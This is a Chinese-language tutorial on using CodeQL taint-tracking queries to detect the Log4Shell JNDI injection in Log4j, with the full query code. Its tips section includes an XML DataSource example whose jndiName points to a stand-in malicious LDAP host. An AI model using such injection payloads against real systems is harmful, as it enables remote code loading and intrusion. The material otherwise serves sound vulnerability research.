利用CodeQL分析并挖掘Log4j漏洞
字数 1013 2025-08-24 23:51:23

CodeQL挖掘Log4j漏洞实战分析教程

一、前言

本教程将详细讲解如何使用CodeQL工具挖掘Log4j漏洞,特别是著名的Log4jShell漏洞(CVE-2021-44228)。通过本教程,您将学习到:

  1. 如何构建Log4j的CodeQL数据库
  2. 如何定义JNDI注入的sink点
  3. 如何识别Log4j中的source点
  4. 如何编写污点传播规则
  5. 如何优化规则以提高检测准确率

二、环境准备

1. 获取Log4j源码

git clone https://github.com/apache/logging-log4j2.git
git checkout be881e5  # 切换到2.14.1版本

2. 修改POM文件

由于我们主要分析log4j-core和log4j-api模块,需要注释掉其他模块:

<modules>
    <module>log4j-api-java9</module>
    <module>log4j-api</module>
    <module>log4j-core-java9</module>
    <module>log4j-core</module>
    <!-- 注释其他模块... -->
</modules>

3. JDK9环境配置

C:\Users\用户名\.m2\toolchains.xml中添加:

<toolchains>
    <toolchain>
        <type>jdk</type>
        <provides>
            <version>9</version>
            <vendor>sun</vendor>
        </provides>
        <configuration>
            <jdkHome>C:\Program Files\Java\jdk-9.0.4</jdkHome>
        </configuration>
    </toolchain>
</toolchains>

4. 构建CodeQL数据库

CodeQL database create Log4jDB --language=java --overwrite --command="mvn clean install -Dmaven.test.skip=true"

三、漏洞分析原理

1. JNDI注入sink点定义

我们需要识别所有可能调用JNDI lookup方法的位置:

class Context extends RefType {
    Context() {
        this.hasQualifiedName("javax.naming", "Context") or
        this.hasQualifiedName("javax.naming", "InitialContext") or
        this.hasQualifiedName("org.springframework.jndi", "JndiCallback") or
        this.hasQualifiedName("org.springframework.jndi", "JndiTemplate") or
        this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate") or
        this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback") or
        this.getQualifiedName().matches("%JndiCallback") or
        this.getQualifiedName().matches("%JndiLocatorDelegate") or
        this.getQualifiedName().matches("%JndiTemplate")
    }
}

predicate isLookup(Expr arg) {
    exists(MethodAccess ma |
        ma.getMethod().getName() = "lookup" and
        ma.getMethod().getDeclaringType() instanceof Context and
        arg = ma.getArgument(0)
    )
}

2. Source点识别

Log4j中可能的source点包括:

  1. 日志记录方法(error/fatal/info/debug/trace等)
  2. 配置文件解析

日志记录方法定义:

class Logger extends RefType {
    Logger() {
        this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger")
    }
}

class LoggerInput extends Method {
    LoggerInput() {
        this.getDeclaringType() instanceof Logger and
        this.hasName("error") and
        this.getNumberOfParameters() = 1
    }
    
    Parameter getAnUntrustedParameter() {
        result = this.getParameter(0)
    }
}

四、污点传播分析

1. 基本污点跟踪配置

class TainttrackLookup extends TaintTracking::Configuration {
    TainttrackLookup() {
        this = "TainttrackLookup"
    }
    
    override predicate isSource(DataFlow::Node source) {
        exists(LoggerInput LoggerMethod |
            source.asParameter() = LoggerMethod.getAnUntrustedParameter()
        )
    }
    
    override predicate isSink(DataFlow::Node sink) {
        exists(Expr arg |
            isLookup(arg) and
            sink.asExpr() = arg
        )
    }
}

2. 添加额外污点步骤

由于CodeQL默认分析可能遗漏某些传播路径,需要手动添加:

override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
    exists(MethodAccess ma, MethodAccess ma2 |
        ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory") and
        ma.getMethod().hasName("createEvent") and
        fromNode.asExpr() = ma.getArgument(5) and
        ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig") and
        ma2.getMethod().hasName("log") and
        ma2.getMethod().getNumberOfParameters() = 2 and
        toNode.asExpr() = ma2.getArgument(0)
    )
}

五、完整查询代码

/**
 * @name Tainttrack Context lookup
 * @kind path-problem
 */
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph

class Context extends RefType {
    Context() {
        this.hasQualifiedName("javax.naming", "Context") or
        this.hasQualifiedName("javax.naming", "InitialContext") or
        this.hasQualifiedName("org.springframework.jndi", "JndiCallback") or
        this.hasQualifiedName("org.springframework.jndi", "JndiTemplate") or
        this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate") or
        this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback") or
        this.getQualifiedName().matches("%JndiCallback") or
        this.getQualifiedName().matches("%JndiLocatorDelegate") or
        this.getQualifiedName().matches("%JndiTemplate")
    }
}

class Logger extends RefType {
    Logger() {
        this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger")
    }
}

class LoggerInput extends Method {
    LoggerInput() {
        this.getDeclaringType() instanceof Logger and
        this.hasName("error") and
        this.getNumberOfParameters() = 1
    }
    
    Parameter getAnUntrustedParameter() {
        result = this.getParameter(0)
    }
}

predicate isLookup(Expr arg) {
    exists(MethodAccess ma |
        ma.getMethod().getName() = "lookup" and
        ma.getMethod().getDeclaringType() instanceof Context and
        arg = ma.getArgument(0)
    )
}

class TainttrackLookup extends TaintTracking::Configuration {
    TainttrackLookup() {
        this = "TainttrackLookup"
    }
    
    override predicate isSource(DataFlow::Node source) {
        exists(LoggerInput LoggerMethod |
            source.asParameter() = LoggerMethod.getAnUntrustedParameter()
        )
    }
    
    override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
        exists(MethodAccess ma, MethodAccess ma2 |
            ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory") and
            ma.getMethod().hasName("createEvent") and
            fromNode.asExpr() = ma.getArgument(5) and
            ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig") and
            ma2.getMethod().hasName("log") and
            ma2.getMethod().getNumberOfParameters() = 2 and
            toNode.asExpr() = ma2.getArgument(0)
        )
    }
    
    override predicate isSink(DataFlow::Node sink) {
        exists(Expr arg |
            isLookup(arg) and
            sink.asExpr() = arg
        )
    }
}

from TainttrackLookup config, DataFlow::PathNode source, DataFlow::PathNode sink
where config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"

六、漏洞挖掘技巧

  1. 关注插件加载机制:如DataSourceConnectionSource#createConnectionSource方法,可通过XML配置触发:

    <DataSource jndiName="ldap://malicious.dns/exploit">
    </DataSource>
    
  2. 分析消息处理流程:特别关注Message对象的传递和处理过程

  3. 关注字符串插值:Log4j的StrSubstitutor类处理${}表达式,是漏洞触发的关键环节

  4. 注意继承关系:实际运行时可能调用子类方法而非父类方法,如Logger#log而非AbstractLogger#log

七、总结

通过本教程,您已经学习到:

  1. 如何使用CodeQL构建特定项目的分析数据库
  2. 如何定义JNDI注入的sink点和Log4j的source点
  3. 如何编写和优化污点传播规则
  4. 如何通过添加额外污点步骤提高检测准确率
  5. Log4j漏洞挖掘的实用技巧

CodeQL是一个强大的静态分析工具,通过将漏洞模式转化为可执行的查询规则,可以高效地辅助漏洞挖掘工作。关键在于:

  1. 准确定义source和sink
  2. 理解框架内部的数据流
  3. 合理处理污点传播中的断点
  4. 针对特定框架定制分析规则
CodeQL挖掘Log4j漏洞实战分析教程 一、前言 本教程将详细讲解如何使用CodeQL工具挖掘Log4j漏洞,特别是著名的Log4jShell漏洞(CVE-2021-44228)。通过本教程,您将学习到: 如何构建Log4j的CodeQL数据库 如何定义JNDI注入的sink点 如何识别Log4j中的source点 如何编写污点传播规则 如何优化规则以提高检测准确率 二、环境准备 1. 获取Log4j源码 2. 修改POM文件 由于我们主要分析log4j-core和log4j-api模块,需要注释掉其他模块: 3. JDK9环境配置 在 C:\Users\用户名\.m2\toolchains.xml 中添加: 4. 构建CodeQL数据库 三、漏洞分析原理 1. JNDI注入sink点定义 我们需要识别所有可能调用JNDI lookup方法的位置: 2. Source点识别 Log4j中可能的source点包括: 日志记录方法(error/fatal/info/debug/trace等) 配置文件解析 日志记录方法定义: 四、污点传播分析 1. 基本污点跟踪配置 2. 添加额外污点步骤 由于CodeQL默认分析可能遗漏某些传播路径,需要手动添加: 五、完整查询代码 六、漏洞挖掘技巧 关注插件加载机制 :如 DataSourceConnectionSource#createConnectionSource 方法,可通过XML配置触发: 分析消息处理流程 :特别关注 Message 对象的传递和处理过程 关注字符串插值 :Log4j的 StrSubstitutor 类处理 ${} 表达式,是漏洞触发的关键环节 注意继承关系 :实际运行时可能调用子类方法而非父类方法,如 Logger#log 而非 AbstractLogger#log 七、总结 通过本教程,您已经学习到: 如何使用CodeQL构建特定项目的分析数据库 如何定义JNDI注入的sink点和Log4j的source点 如何编写和优化污点传播规则 如何通过添加额外污点步骤提高检测准确率 Log4j漏洞挖掘的实用技巧 CodeQL是一个强大的静态分析工具,通过将漏洞模式转化为可执行的查询规则,可以高效地辅助漏洞挖掘工作。关键在于: 准确定义source和sink 理解框架内部的数据流 合理处理污点传播中的断点 针对特定框架定制分析规则